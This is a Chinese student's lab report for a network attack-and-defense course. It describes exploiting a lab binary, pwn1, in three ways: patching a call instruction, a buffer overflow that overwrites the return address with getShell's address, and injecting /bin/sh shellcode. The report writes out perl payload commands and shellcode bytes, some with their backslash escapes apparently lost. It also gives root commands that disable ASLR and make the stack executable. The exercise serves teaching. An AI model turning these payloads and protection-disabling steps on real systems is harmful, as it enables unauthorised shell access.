zoukankan      html  css  js  c++  java
  • 2019-2020 20175122邱昕《网络对抗技术》Exp1 PC平台逆向破解

    实践内容

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    除了main和foo,该可执行文件中还包含一个getShell代码片段,正常运行情况下这个getshell不会执行,我们的目的就是想办法运行这个代码片段

    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    实践步骤

    任务一 直接修改程序机器指令,改变程序执行流程

    思路:修改机器指令强行跳转地址

    1.下载pwn1兵进行反汇编

    第一列为内存地址,第二列为机器指令,第三列为汇编指令。

    我们找到了执行跳转的语句main第四行call 8048491<foo>,它对应的机器指令为e8 d7ffffff,内存地址为80484b5

    e8就是call指令的机器指令,即跳转。

    d7ffffff就是要跳转的地址

    如图

    此时eip的地址为8048ba,执行的话会执行eip d7ffffff指令

    我们想让他调用getshell,修改d7ffffff为getshell-80484ba对应的补码

    经过计算得到c3 ffffff

     2.对pwn1文件进行修改

    打开pwn1文件

    乱码

    esc后输入:%!xxd -r

    输入/e8 d7找到位置

    将d7改为c3再转换为原格式保存退出

    再次反汇编验证如图已经将d7改为了c3,且是getshell函数

    运行pwn1且成功运行shell

    任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

    思路

    先安装gdb,后运行gdb pwn1,输入r进行调试

    输入111111222222333333444444555555666666观察寄存器

    显示eip            0x36363636          0x36363636

    即6666,所以eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"6666"覆盖

    我们再次输入字符串1111111122222222333333334444444412345678

    进行观察

    由于eip是0x34333231即1234,所以就要把字符串中会覆盖EIP的字符替换成getShell的地址

    将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444x7dx84x04x08

    因为我们没法通过键盘输入x7dx84x04x08的16进制值,所以先要生成包括这样字符串的一个文件。x0a表示回车,

    如果没有的话,在程序运行时就需要手工按一下回车键。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。

    通过管道符号    |    再将input文件作为pwn1的输入。

    任务三 注入Shellcode并执行

    准备工作

    准备shellcode指令

    使用老师给的指令x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    安装软件包兵进行一系列准备工作

    root@20175122:/home/kali/Desktop# execstack -s pwn1     设置堆栈可执行
    root@20175122:/home/kali/Desktop# execstack -q pwn1     查询文件的堆栈是否可执行
    X pwn1
    root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space    查看内存地址随机化的参数
    2
    root@20175122:/home/kali/Desktop# echo "0" > /proc/sys/kernel/randomize_va_space     关闭地址随机化
    root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space
    0

    进行攻击

    首先我们还是要生成一个文件来让pwn1完成输入

    使用perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    将该文件导入pwn1并运行

    打开另一个终端进行调试

    利用ps -ef | grep pwn1发现进程号为2896

    输入gdb进入调试界面,然后输入attach 2896调试这个进程

    输入命令disassemble foo查看ret的进程值为0x080484ae

    输入命令0x080484ae0x080484ae处设置断点,查看注入buf的内存地址。

    在第一个终端回车,在第二个终端输入c

    输入指令info r esp查看查看栈顶指针所在的位置,并查看改地址存放的数据

    因为结构为anything+retaddr+nops+shellcode。

    所以0xffffd6ec存放的是01020304,也就是返回地址。

    因此,修改input_shellcode文件中的代码:

    perl -e 'print "A" x 32;print "xf4xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    并再次利用  |   输入,就能成功攻击了

     

    四、实验感想

    网络对抗的第一次实验,我没有学习过有关java或linux的课程,做起来有些吃力,但在查阅资料和同学的帮助下,还是成功完成了本次实验,知道了很多以前我从来不知道的知识,包括16进制需要创建文件来导入,栈的更多知识,以前在学汇编的时候明白了溢出攻击的原理,今天成功的自己做了出来,成就感很强。另外,对着老师或者同学学长学姐的博客是不能成功做出本次实验的,需要理解,包括进程编号,内存地址,每台电脑的不一样,因此,每台电脑需要创建的注入攻击所用的文件也不一样。

    在接下来的学习中我将逐渐补全linux的知识和操作,争取早日跟上大家的脚步

    五、课后问题

    什么是漏洞?漏洞有什么危害?

    本次实验的漏洞实在软件的实现上存在缺陷,可以使攻击者在未授权的情况下访问或者破坏系统。

    漏洞的出现能使一些本来能正常运行的软硬件出现使用的问题,影响到人们正常的工作学习。

  • 相关阅读:
    模块
    time/datetime/random/string/os/sys/shutil/zipfile/tarfile
    模块
    模块
    模块
    2.1
    1.4
    生成器 迭代器
    闭包 装饰器
    函数
  • 原文地址:https://www.cnblogs.com/qiuxin/p/12436320.html
Copyright © 2011-2022 走看看